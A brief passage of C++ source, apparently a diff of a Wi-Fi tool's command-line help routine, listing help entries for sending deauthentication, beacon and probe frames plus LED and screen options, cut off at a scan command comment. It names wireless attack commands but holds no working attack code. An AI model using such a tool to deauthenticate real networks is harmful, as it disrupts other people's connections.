prntln(CLI_HELP_INFO); - prntln(CLI_HELP_COMMENT); - prntln(CLI_HELP_SEND_DEAUTH); - prntln(CLI_HELP_SEND_BEACON); - prntln(CLI_HELP_SEND_PROBE); - prntln(CLI_HELP_LED_A); - prntln(CLI_HELP_LED_B); - prntln(CLI_HELP_LED_ENABLE); - prntln(CLI_HELP_DRAW); - prntln(CLI_HELP_SCREEN_ON); - prntln(CLI_HELP_SCREEN_MODE); - - prntln(CLI_HELP_FOOTER); - } - - // ===== SCAN ===== // - // scan [] [-t